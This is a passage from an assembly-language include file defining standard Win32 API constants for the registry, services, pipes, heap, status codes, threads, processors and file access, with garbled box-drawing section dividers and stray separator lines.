REG_OPTION_OPEN_LINK
|
||
|
||
REG_CREATED_NEW_KEY EQU 00000001h ; New Registry Key created
|
||
REG_OPENED_EXISTING_KEY EQU 00000002h ; Existing Key opened
|
||
REG_WHOLE_HIVE_VOLATILE EQU 00000001h ; Restore whole hive volatile
|
||
REG_REFRESH_HIVE EQU 00000002h ; Unwind changes to last flush
|
||
REG_NO_LAZY_FLUSH EQU 00000004h ; Never lazy flush this hive
|
||
REG_NOTIFY_CHANGE_NAME EQU 00000001h ; Create or delete (child)
|
||
REG_NOTIFY_CHANGE_ATTRIBUTES EQU 00000002h ;
|
||
REG_NOTIFY_CHANGE_LAST_SET EQU 00000004h ; time stamp
|
||
REG_NOTIFY_CHANGE_SECURITY EQU 00000008h ;
|
||
REG_LEGAL_CHANGE_FILTER EQU REG_NOTIFY_CHANGE_NAME OR\
|
||
REG_NOTIFY_CHANGE_ATTRIBUTES OR\
|
||
REG_NOTIFY_CHANGE_LAST_SET OR\
|
||
REG_NOTIFY_CHANGE_SECURITY
|
||
|
||
REG_NONE EQU 0 ; No value type
|
||
REG_SZ EQU 1 ; Unicode nul terminated string
|
||
REG_EXPAND_SZ EQU 2 ; Unicode nul terminated string
|
||
REG_BINARY EQU 3 ; Free form binary
|
||
REG_DWORD EQU 4 ; 32-bit number
|
||
REG_DWORD_LITTLE_ENDIAN EQU 4 ; 32-bit number (same as REG_DWORD)
|
||
REG_DWORD_BIG_ENDIAN EQU 5 ; 32-bit number
|
||
REG_LINK EQU 6 ; Symbolic Link (unicode)
|
||
REG_MULTI_SZ EQU 7 ; Multiple Unicode strings
|
||
REG_RESOURCE_LIST EQU 8 ; Resource list in the resource map
|
||
REG_FULL_RESOURCE_DESCRIPTOR EQU 9 ; Resource list in the hardware description
|
||
REG_RESOURCE_REQUIREMENTS_LIST EQU 10 ;
|
||
|
||
;ÄÄÄÄÄÄ´ SERVICES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
SERVICE_KERNEL_DRIVER EQU 00000001h
|
||
SERVICE_FILE_SYSTEM_DRIVER EQU 00000002h
|
||
SERVICE_ADAPTER EQU 00000004h
|
||
SERVICE_RECOGNIZER_DRIVER EQU 00000008h
|
||
SERVICE_DRIVER EQU SERVICE_KERNEL_DRIVER OR\
|
||
SERVICE_FILE_SYSTEM_DRIVER OR\
|
||
SERVICE_RECOGNIZER_DRIVER
|
||
|
||
SERVICE_WIN32_OWN_PROCESS EQU 00000010h
|
||
SERVICE_WIN32_SHARE_PROCESS EQU 00000020h
|
||
SERVICE_WIN32 EQU SERVICE_WIN32_OWN_PROCESS OR\
|
||
SERVICE_WIN32_SHARE_PROCESS
|
||
|
||
SERVICE_INTERACTIVE_PROCESS EQU 00000100h
|
||
|
||
SERVICE_TYPE_ALL EQU SERVICE_WIN32 OR \
|
||
SERVICE_ADAPTER OR \
|
||
SERVICE_DRIVER OR \
|
||
SERVICE_INTERACTIVE_PROCESS
|
||
|
||
SERVICE_BOOT_START EQU 00000000h
|
||
SERVICE_SYSTEM_START EQU 00000001h
|
||
SERVICE_AUTO_START EQU 00000002h
|
||
SERVICE_DEMAND_START EQU 00000003h
|
||
SERVICE_DISABLED EQU 00000004h
|
||
|
||
SERVICE_ERROR_IGNORE EQU 00000000h
|
||
SERVICE_ERROR_NORMAL EQU 00000001h
|
||
SERVICE_ERROR_SEVERE EQU 00000002h
|
||
SERVICE_ERROR_CRITICAL EQU 00000003h
|
||
|
||
;ÄÄÄÄÄÄ´ WAIT ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
WAIT_FAILED EQU 0FFFFFFFFh
|
||
WAIT_OBJECT_0 EQU STATUS_WAIT_0
|
||
WAIT_ABANDONED EQU STATUS_ABANDONED_WAIT_0
|
||
WAIT_ABANDONED_0 EQU STATUS_ABANDONED_WAIT_0
|
||
WAIT_IO_COMPLETION EQU STATUS_USER_APC
|
||
STILL_ACTIVE EQU STATUS_PENDING
|
||
CONTROL_C_EXIT EQU STATUS_CONTROL_C_EXIT
|
||
PROGRESS_CONTINUE EQU 0
|
||
PROGRESS_CANCEL EQU 1
|
||
PROGRESS_STOP EQU 2
|
||
PROGRESS_QUIET EQU 3
|
||
CALLBACK_CHUNK_FINISHED EQU 00000000h
|
||
CALLBACK_STREAM_SWITCH EQU 00000001h
|
||
|
||
;ÄÄÄÄÄÄ´ PIPES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
PIPE_ACCESS_INBOUND EQU 00000001h
|
||
PIPE_ACCESS_OUTBOUND EQU 00000002h
|
||
PIPE_ACCESS_DUPLEX EQU 00000003h
|
||
PIPE_CLIENT_END EQU 00000000h
|
||
PIPE_SERVER_END EQU 00000001h
|
||
PIPE_WAIT EQU 00000000h
|
||
PIPE_NOWAIT EQU 00000001h
|
||
PIPE_READMODE_BYTE EQU 00000000h
|
||
PIPE_READMODE_MESSAGE EQU 00000002h
|
||
PIPE_TYPE_BYTE EQU 00000000h
|
||
PIPE_TYPE_MESSAGE EQU 00000004h
|
||
PIPE_UNLIMITED_INSTANCES EQU 255
|
||
|
||
;ÄÄÄÄÄÄ´ SECURITY ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
SECURITY_CONTEXT_TRACKING EQU 00040000h
|
||
SECURITY_EFFECTIVE_ONLY EQU 00080000h
|
||
SECURITY_SQOS_PRESENT EQU 00100000h
|
||
SECURITY_VALID_SQOS_FLAGS EQU 001F0000h
|
||
|
||
;ÄÄÄÄÄÄ´ HEAP ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
HEAP_NO_SERIALIZE EQU 00000001h
|
||
HEAP_GROWABLE EQU 00000002h
|
||
HEAP_GENERATE_EXCEPTIONS EQU 00000004h
|
||
HEAP_ZERO_MEMORY EQU 00000008h
|
||
HEAP_REALLOC_IN_PLACE_ONLY EQU 00000010h
|
||
HEAP_TAIL_CHECKING_ENABLED EQU 00000020h
|
||
HEAP_FREE_CHECKING_ENABLED EQU 00000040h
|
||
HEAP_DISABLE_COALESCE_ON_FREE EQU 00000080h
|
||
HEAP_CREATE_ALIGN_16 EQU 00010000h
|
||
HEAP_CREATE_ENABLE_TRACING EQU 00020000h
|
||
HEAP_MAXIMUM_TAG EQU 0FFFh
|
||
HEAP_PSEUDO_TAG_FLAG EQU 8000h
|
||
HEAP_TAG_SHIFT EQU 18h
|
||
|
||
;ÄÄÄÄÄÄ´ UNICODE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
IS_TEXT_UNICODE_ASCII16 EQU 0001h
|
||
IS_TEXT_UNICODE_REVERSE_ASCII16 EQU 0010h
|
||
IS_TEXT_UNICODE_STATISTICS EQU 0002h
|
||
IS_TEXT_UNICODE_REVERSE_STATISTICS EQU 0020h
|
||
IS_TEXT_UNICODE_CONTROLS EQU 0004h
|
||
IS_TEXT_UNICODE_REVERSE_CONTROLS EQU 0040h
|
||
IS_TEXT_UNICODE_SIGNATURE EQU 0008h
|
||
IS_TEXT_UNICODE_REVERSE_SIGNATURE EQU 0080h
|
||
IS_TEXT_UNICODE_ILLEGAL_CHARS EQU 0100h
|
||
IS_TEXT_UNICODE_ODD_LENGTH EQU 0200h
|
||
IS_TEXT_UNICODE_DBCS_LEADBYTE EQU 0400h
|
||
IS_TEXT_UNICODE_NULL_BYTES EQU 1000h
|
||
IS_TEXT_UNICODE_UNICODE_MASK EQU 000Fh
|
||
IS_TEXT_UNICODE_REVERSE_MASK EQU 00F0h
|
||
IS_TEXT_UNICODE_NOT_UNICODE_MASK EQU 0F00h
|
||
IS_TEXT_UNICODE_NOT_ASCII_MASK EQU F000h
|
||
|
||
;ÄÄÄÄÄÄ´ COMPRESSION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
COMPRESSION_FORMAT_NONE EQU 0000h
|
||
COMPRESSION_FORMAT_DEFAULT EQU 0001h
|
||
COMPRESSION_FORMAT_LZNT1 EQU 0002h
|
||
COMPRESSION_ENGINE_STANDARD EQU 0000h
|
||
COMPRESSION_ENGINE_MAXIMUM EQU 0100h
|
||
|
||
;ÄÄÄÄÄÄ´ MAXIMUMS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
MAXLOGICALLOGNAMESIZE EQU 256
|
||
MAXIMUM_SUPPORTED_EXTENSION EQU 512
|
||
MAXIMUM_WAIT_OBJECTS EQU 64
|
||
MAXIMUM_SUSPEND_COUNT EQU MAXCHAR
|
||
MAXIMUM_PROCESSORS EQU 32
|
||
SIZE_OF_80387_REGISTERS EQU 80
|
||
MAX_PATH EQU 260
|
||
|
||
;ÄÄÄÄÄÄ´ STATUS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
STATUS_WAIT_0 EQU 000000000h
|
||
STATUS_ABANDONED_WAIT_0 EQU 000000080h
|
||
STATUS_USER_APC EQU 0000000C0h
|
||
STATUS_TIMEOUT EQU 000000102h
|
||
STATUS_PENDING EQU 000000103h
|
||
STATUS_SEGMENT_NOTIFICATION EQU 040000005h
|
||
STATUS_GUARD_PAGE_VIOLATION EQU 080000001h
|
||
STATUS_DATATYPE_MISALIGNMENT EQU 080000002h
|
||
STATUS_BREAKPOINT EQU 080000003h
|
||
STATUS_SINGLE_STEP EQU 080000004h
|
||
STATUS_ACCESS_VIOLATION EQU 0C0000005h
|
||
STATUS_IN_PAGE_ERROR EQU 0C0000006h
|
||
STATUS_INVALID_HANDLE EQU 0C0000008h
|
||
STATUS_NO_MEMORY EQU 0C0000017h
|
||
STATUS_ILLEGAL_INSTRUCTION EQU 0C000001Dh
|
||
STATUS_NONCONTINUABLE_EXCEPTION EQU 0C0000025h
|
||
STATUS_INVALID_DISPOSITION EQU 0C0000026h
|
||
STATUS_ARRAY_BOUNDS_EXCEEDED EQU 0C000008Ch
|
||
STATUS_FLOAT_DENORMAL_OPERAND EQU 0C000008Dh
|
||
STATUS_FLOAT_DIVIDE_BY_ZERO EQU 0C000008Eh
|
||
STATUS_FLOAT_INEXACT_RESULT EQU 0C000008Fh
|
||
STATUS_FLOAT_INVALID_OPERATION EQU 0C0000090h
|
||
STATUS_FLOAT_OVERFLOW EQU 0C0000091h
|
||
STATUS_FLOAT_STACK_CHECK EQU 0C0000092h
|
||
STATUS_FLOAT_UNDERFLOW EQU 0C0000093h
|
||
STATUS_INTEGER_DIVIDE_BY_ZERO EQU 0C0000094h
|
||
STATUS_INTEGER_OVERFLOW EQU 0C0000095h
|
||
STATUS_PRIVILEGED_INSTRUCTION EQU 0C0000096h
|
||
STATUS_STACK_OVERFLOW EQU 0C00000FDh
|
||
STATUS_CONTROL_C_EXIT EQU 0C000013Ah
|
||
STATUS_FLOAT_MULTIPLE_FAULTS EQU 0C00002B4h
|
||
STATUS_FLOAT_MULTIPLE_TRAPS EQU 0C00002B5h
|
||
STATUS_ILLEGAL_VLM_REFERENCE EQU 0C00002C0h
|
||
STATUS_REG_NAT_CONSUMPTION EQU 0C00002C9h
|
||
|
||
;ÄÄÄÄÄÄ´ THREADS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
THREAD_TERMINATE EQU 0001h
|
||
THREAD_SUSPEND_RESUME EQU 0002h
|
||
THREAD_GET_CONTEXT EQU 0008h
|
||
THREAD_SET_CONTEXT EQU 0010h
|
||
THREAD_SET_INFORMATION EQU 0020h
|
||
THREAD_QUERY_INFORMATION EQU 0040h
|
||
THREAD_SET_THREAD_TOKEN EQU 0080h
|
||
THREAD_IMPERSONATE EQU 0100h
|
||
THREAD_DIRECT_IMPERSONATION EQU 0200h
|
||
THREAD_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR\
|
||
SYNCHRONIZE OR 3FFh
|
||
|
||
THREAD_BASE_PRIORITY_LOWRT EQU 15 ; value that gets a thread to LowRealtime-1
|
||
THREAD_BASE_PRIORITY_MAX EQU 2 ; maximum thread base priority boost
|
||
THREAD_BASE_PRIORITY_MIN EQU -2 ; minimum thread base priority boost
|
||
THREAD_BASE_PRIORITY_IDLE EQU -15 ; value that gets a thread to idle
|
||
|
||
THREAD_PRIORITY_LOWEST EQU THREAD_BASE_PRIORITY_MIN
|
||
THREAD_PRIORITY_BELOW_NORMAL EQU THREAD_PRIORITY_LOWEST+1
|
||
THREAD_PRIORITY_NORMAL EQU 0
|
||
THREAD_PRIORITY_HIGHEST EQU THREAD_BASE_PRIORITY_MAX
|
||
THREAD_PRIORITY_ABOVE_NORMAL EQU THREAD_PRIORITY_HIGHEST-1
|
||
THREAD_PRIORITY_ERROR_RETURN EQU MAXLONG
|
||
|
||
THREAD_PRIORITY_TIME_CRITICAL EQU THREAD_BASE_PRIORITY_LOWRT
|
||
THREAD_PRIORITY_IDLE EQU THREAD_BASE_PRIORITY_IDLE
|
||
|
||
|
||
;ÄÄÄÄÄÄ´ EVENT, MUTEX, SEMAPHORE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
EVENT_MODIFY_STATE EQU 0002h
|
||
EVENT_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR 3
|
||
|
||
MUTANT_QUERY_STATE EQU 0001h
|
||
MUTANT_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR\
|
||
MUTANT_QUERY_STATE
|
||
|
||
SEMAPHORE_MODIFY_STATE EQU 0002h
|
||
SEMAPHORE_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR 3
|
||
|
||
MUTEX_MODIFY_STATE EQU MUTANT_QUERY_STATE
|
||
MUTEX_ALL_ACCESS EQU MUTANT_ALL_ACCESS
|
||
|
||
TIMER_QUERY_STATE EQU 0001h
|
||
TIMER_MODIFY_STATE EQU 0002h
|
||
TIMER_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR SYNCHRONIZE OR\
|
||
TIMER_QUERY_STATE OR TIMER_MODIFY_STATE
|
||
|
||
;ÄÄÄÄÄÄ´ PROCESSOR ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
PROCESSOR_INTEL_386 EQU 386
|
||
PROCESSOR_INTEL_486 EQU 486
|
||
PROCESSOR_INTEL_PENTIUM EQU 586
|
||
PROCESSOR_INTEL_IA64 EQU 2200
|
||
PROCESSOR_MIPS_R4000 EQU 4000
|
||
PROCESSOR_ALPHA_21064 EQU 21064
|
||
PROCESSOR_PPC_601 EQU 601
|
||
PROCESSOR_PPC_603 EQU 603
|
||
PROCESSOR_PPC_604 EQU 604
|
||
PROCESSOR_PPC_620 EQU 620
|
||
PROCESSOR_HITACHI_SH3 EQU 10003 ; Windows CE
|
||
PROCESSOR_HITACHI_SH3E EQU 10004 ; Windows CE
|
||
PROCESSOR_HITACHI_SH4 EQU 10005 ; Windows CE
|
||
PROCESSOR_MOTOROLA_821 EQU 821 ; Windows CE
|
||
PROCESSOR_SHx_SH3 EQU 103 ; Windows CE
|
||
PROCESSOR_SHx_SH4 EQU 104 ; Windows CE
|
||
PROCESSOR_STRONGARM EQU 2577 ; Windows CE - A11
|
||
PROCESSOR_ARM720 EQU 1824 ; Windows CE - 720
|
||
PROCESSOR_ARM820 EQU 2080 ; Windows CE - 820
|
||
PROCESSOR_ARM920 EQU 2336 ; Windows CE - 920
|
||
PROCESSOR_ARM_7TDMI EQU 70001 ; Windows CE
|
||
|
||
PROCESSOR_ARCHITECTURE_INTEL EQU 0
|
||
PROCESSOR_ARCHITECTURE_MIPS EQU 1
|
||
PROCESSOR_ARCHITECTURE_ALPHA EQU 2
|
||
PROCESSOR_ARCHITECTURE_PPC EQU 3
|
||
PROCESSOR_ARCHITECTURE_SHX EQU 4
|
||
PROCESSOR_ARCHITECTURE_ARM EQU 5
|
||
PROCESSOR_ARCHITECTURE_IA64 EQU 6
|
||
PROCESSOR_ARCHITECTURE_ALPHA64 EQU 7
|
||
PROCESSOR_ARCHITECTURE_UNKNOWN EQU 0FFFFh
|
||
|
||
PF_FLOATING_POINT_PRECISION_ERRATA EQU 0
|
||
PF_FLOATING_POINT_EMULATED EQU 1
|
||
PF_COMPARE_EXCHANGE_DOUBLE EQU 2
|
||
PF_MMX_INSTRUCTIONS_AVAILABLE EQU 3
|
||
PF_PPC_MOVEMEM_64BIT_OK EQU 4
|
||
PF_ALPHA_BYTE_INSTRUCTIONS EQU 5
|
||
PF_XMMI_INSTRUCTIONS_AVAILABLE EQU 6
|
||
PF_AMD3D_INSTRUCTIONS_AVAILABLE EQU 7
|
||
PF_RDTSC_INSTRUCTION_AVAILABLE EQU 8
|
||
SYSTEM_FLAG_REMOTE_BOOT_CLIENT EQU 00000001h
|
||
SYSTEM_FLAG_DISKLESS_CLIENT EQU 00000002h
|
||
|
||
;ÄÄÄÄÄÄ´ FILES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
INVALID_HANDLE_VALUE EQU -1
|
||
INVALID_FILE_SIZE EQU 0FFFFFFFFh
|
||
STD_INPUT_HANDLE EQU -10
|
||
STD_OUTPUT_HANDLE EQU -11
|
||
STD_ERROR_HANDLE EQU -12
|
||
|
||
FILE_BEGIN EQU 0 ; used by SetFilePos (shows from where
|
||
FILE_CURRENT EQU 1 ; to move)
|
||
FILE_END EQU 2 ;
|
||
|
||
FILE_READ_DATA EQU 0001h ; file & pipe
|
||
FILE_LIST_DIRECTORY EQU 0001h ; directory
|
||
|
||
FILE_WRITE_DATA EQU 0002h ; file & pipe
|
||
FILE_ADD_FILE EQU 0002h ; directory
|
||
|
||
FILE_APPEND_DATA EQU 0004h ; file
|
||
FILE_ADD_SUBDIRECTORY EQU 0004h ; directory
|
||
FILE_CREATE_PIPE_INSTANCE EQU 0004h ; named pipe
|
||
FILE_READ_EA EQU 0008h ; file & directory
|
||
FILE_WRITE_EA EQU 0010h ; file & directory
|
||
FILE_EXECUTE EQU 0020h ; file
|
||
FILE_TRAVERSE EQU 0020h ; directory
|
||
FILE_DELETE_CHILD EQU 0040h ; directory
|
||
FILE_READ_ATTRIBUTES EQU 0080h ; all
|
||
FILE_WRITE_ATTRIBUTES EQU 0100h ; all
|
||
FILE_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR\
|
||
SYNCHRONIZE OR 1FFh
|
||
|
||
FILE_GENERIC_READ EQU STANDARD_RIGHTS_READ OR\
|
||
FILE_READ_DATA OR\
|
||
FILE_READ_ATTRIBUTES OR\
|
||
FILE_READ_EA OR\
|
||
SYNCHRONIZE
|
||
|
||
|
||
FILE_GENERIC_WRITE EQU STANDARD_RIGHTS_WRITE OR\
|
||
FILE_WRITE_DATA OR\
|
||
FILE_WRITE_ATTRIBUTES OR\
|
||
FILE_WRITE_EA OR\
|
||
FILE_APPEND_DATA OR\
|
||
SYNCHRONIZE
|
||
|
||
|
||
FILE_GENERIC_EXECUTE EQU STANDARD_RIGHTS_EXECUTE OR\
|
||
FILE_READ_ATTRIBUTES OR\
|
||
FILE_EXECUTE OR\
|
||
SYNCHRONIZE
|
||
|
||
FILE_SHARE_READ EQU 00000001h
|
||
FILE_SHARE_WRITE EQU 00000002h
|
||
FILE_SHARE_DELETE EQU 00000004h
|
||
|
||
FILE_ATTRIBUTE_READONLY EQU 00000001h
|
||
FILE_ATTRIBUTE_HIDDEN EQU 00000002h
|
||
FILE_ATTRIBUTE_SYSTEM EQU 00000004h
|
||
FILE_ATTRIBUTE_DIRECTORY EQU 00000010h
|
||
FILE_ATTRIBUTE_ARCHIVE EQU 00000020h
|
||
FILE_ATTRIBUTE_DEVICE EQU 00000040h
|
||
FILE_ATTRIBUTE_NORMAL EQU 00000080h
|
||
FILE_ATTRIBUTE_TEMPORARY EQU 00000100h
|
||
FILE_ATTRIBUTE_SPARSE_FILE EQU 00000200h
|
||
FILE_ATTRIBUTE_REPARSE_POINT EQU 00000400h
|
||
FILE_ATTRIBUTE_COMPRESSED EQU 00000800h
|
||
FILE_ATTRIBUTE_OFFLINE EQU 00001000h
|
||
FILE_ATTRIBUTE_NOT_CONTENT_INDEXED EQU 00002000h
|
||
FILE_ATTRIBUTE_ENCRYPTED EQU 00004000h
|
||
|
||
FILE_NOTIFY_CHANGE_FILE_NAME EQU 00000001h
|
||
FILE_NOTIFY_CHANGE_DIR_NAME EQU 00000002h
|
||
FILE_NOTIFY_CHANGE_ATTRIBUTES EQU 00000004h
|
||
FILE_NOTIFY_CHANGE_SIZE EQU 00000008h
|
||
FILE_NOTIFY_CHANGE_LAST_WRITE EQU 00000010h
|
||
FILE_NOTIFY_CHANGE_LAST_ACCESS EQU 00000020h
|
||
FILE_NOTIFY_CHANGE_CREATION EQU 00000040h
|
||
FILE_NOTIFY_CHANGE_SECURITY EQU 00000100h
|
||
|
||
FILE_ACTION_ADDED EQU 00000001h
|
||
FILE_ACTION_REMOVED EQU 00000002h
|
||
FILE_ACTION_MODIFIED EQU 00000003h
|
||
FILE_ACTION_RENAMED_OLD_NAME EQU 00000004h
|
||
FILE_ACTION_RENAMED_NEW_NAME EQU 00000005h
|
||
|
||
MAILSLOT_NO_MESSAGE EQU -1
|
||
MAILSLOT_WAIT_FOREVER EQU -1
|
||
|
||
FILE_CASE_SENSITIVE_SEARCH EQU 00000001h
|
||
FILE_CASE_PRESERVED_NAMES EQU 00000002h
|
||
FILE_UNICODE_ON_DISK EQU 00000004h
|
||
FILE_PERSISTENT_ACLS EQU 00000008h
|
||
FILE_FILE_COMPRESSION EQU 00000010h
|
||
FILE_VOLUME_QUOTAS EQU 00000020h
|
||
FILE_SUPPORTS_SPARSE_FILES EQU 00000040h
|
||
FILE_SUPPORTS_REPARSE_POINTS EQU 00000080h
|
||
FILE_SUPPORTS_REMOTE_STORAGE EQU 00000100h
|
||
FILE_VOLUME_IS_COMPRESSED EQU 00008000h
|
||
FILE_SUPPORTS_OBJECT_IDS EQU 00010000h
|
||
FILE_SUPPORTS_ENCRYPTION EQU 00020000h
|
||
|
||
COPY_FILE_FAIL_IF_EXISTS EQU 00000001h
|
||
COPY_FILE_RESTARTABLE EQU 00000002h
|
||
COPY_FILE_OPEN_SOURCE_FOR_WRITE EQU 00000004h
|
||
|
||
REPLACEFILE_WRITE_THROUGH EQU 00000001h
|
||
REPLACEFILE_IGNORE_MERGE_ERRORS EQU 00000002h
|
||
|
||
FILE_FLAG_WRITE_THROUGH EQU 80000000h
|
||
FILE_FLAG_OVERLAPPED EQU 40000000h
|
||
FILE_FLAG_NO_BUFFERING EQU 20000000h
|
||
FILE_FLAG_RANDOM_ACCESS EQU 10000000h
|
||
FILE_FLAG_SEQUENTIAL_SCAN EQU 08000000h
|
||
FILE_FLAG_DELETE_ON_CLOSE EQU 04000000h
|
||
FILE_FLAG_BACKUP_SEMANTICS EQU 02000000h
|
||
FILE_FLAG_POSIX_SEMANTICS EQU 01000000h
|
||
FILE_FLAG_OPEN_REPARSE_POINT EQU 00200000h
|
||
FILE_FLAG_OPEN_NO_RECALL EQU 00100000h
|
||
|
||
FIND_FIRST_EX_CASE_SENSITIVE EQU 00000001h
|
||
|
||
MOVEFILE_REPLACE_EXISTING EQU 00000001h
|
||
MOVEFILE_COPY_ALLOWED EQU 00000002h
|
||
MOVEFILE_DELAY_UNTIL_REBOOT EQU 00000004h
|
||
MOVEFILE_WRITE_THROUGH EQU 00000008h
|
||
MOVEFILE_CREATE_HARDLINK EQU 00000010h
|
||
MOVEFILE_FAIL_IF_NOT_TRACKABLE EQU 00000020h
|
||
|
||
CREATE_NEW EQU 1
|
||
CREATE_ALWAYS EQU 2
|
||
OPEN_EXISTING EQU 3
|
||
OPEN_ALWAYS EQU 4
|
||
TRUNCATE_EXISTING EQU 5
|
||
|
||
LOCKFILE_FAIL_IMMEDIATELY EQU 00000001h
|
||
LOCKFILE_EXCLUSIVE_LOCK EQU 00000002h
|
||
|
||
HANDLE_FLAG_INHERIT EQU 00000001h
|
||
HANDLE_FLAG_PROTECT_FROM_CLOSE EQU 00000002h
|
||
|
||
HINSTANCE_ERROR EQU 32
|
||
|
||
FILE_ENCRYPTABLE EQU 0
|
||
FILE_IS_ENCRYPTED EQU 1
|
||
FILE_SYSTEM_ATTR EQU 2
|
||
FILE_ROOT_DIR EQU 3
|
||
FILE_SYSTEM_DIR EQU 4
|
||
FILE_UNKNOWN EQU 5
|
||
FILE_SYSTEM_NOT_SUPPORT EQU 6
|
||
FILE_USER_DISALLOWED EQU 7
|
||
FILE_READ_ONLY EQU 8
|
||
|
||
FS_CASE_IS_PRESERVED EQU FILE_CASE_PRESERVED_NAMES
|
||
FS_CASE_SENSITIVE EQU FILE_CASE_SENSITIVE_SEARCH
|
||
FS_UNICODE_STORED_ON_DISK EQU FILE_UNICODE_ON_DISK
|
||
FS_PERSISTENT_ACLS EQU FILE_PERSISTENT_ACLS
|
||
FS_VOL_IS_COMPRESSED EQU FILE_VOLUME_IS_COMPRESSED
|
||
FS_FILE_COMPRESSION EQU FILE_FILE_COMPRESSION
|
||
FS_FILE_ENCRYPTION EQU FILE_SUPPORTS_ENCRYPTION
|
||
|
||
FILE_MAP_COPY EQU SECTION_QUERY
|
||
FILE_MAP_WRITE EQU SECTION_MAP_WRITE
|
||
FILE_MAP_READ EQU SECTION_MAP_READ
|
||
FILE_MAP_ALL_ACCESS EQU SECTION_ALL_ACCESS
|
||
|
||
; Open File flags
|
||
|
||
OF_READ EQU 00000000h
|
||
OF_WRITE EQU 00000001h
|
||
OF_READWRITE EQU 00000002h
|
||
OF_SHARE_COMPAT EQU 00000000h
|
||
OF_SHARE_EXCLUSIVE EQU 00000010h
|
||
OF_SHARE_DENY_WRITE EQU 00000020h
|
||
OF_SHARE_DENY_READ EQU 00000030h
|
||
OF_SHARE_DENY_NONE EQU 00000040h
|
||
OF_PARSE EQU 00000100h
|
||
OF_DELETE EQU 00000200h
|
||
OF_VERIFY EQU 00000400h
|
||
OF_CANCEL EQU 00000800h
|
||
OF_CREATE EQU 00001000h
|
||
OF_PROMPT EQU 00002000h
|
||
OF_EXIST EQU 00004000h
|
||
OF_REOPEN EQU 00008000h
|
||
|
||
FILE_TYPE_UNKNOWN EQU 0000h
|
||
FILE_TYPE_DISK EQU 0001h
|
||
FILE_TYPE_CHAR EQU 0002h
|
||
FILE_TYPE_PIPE EQU 0003h
|
||
FILE_TYPE_REMOTE EQU 8000h
|
||
|
||
;ÄÄÄÄÄÄ´ PROCESS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
PROCESS_HEAP_REGION EQU 0001h
|
||
PROCESS_HEAP_UNCOMMITTED_RANGE EQU 0002h
|
||
PROCESS_HEAP_ENTRY_BUSY EQU 0004h
|
||
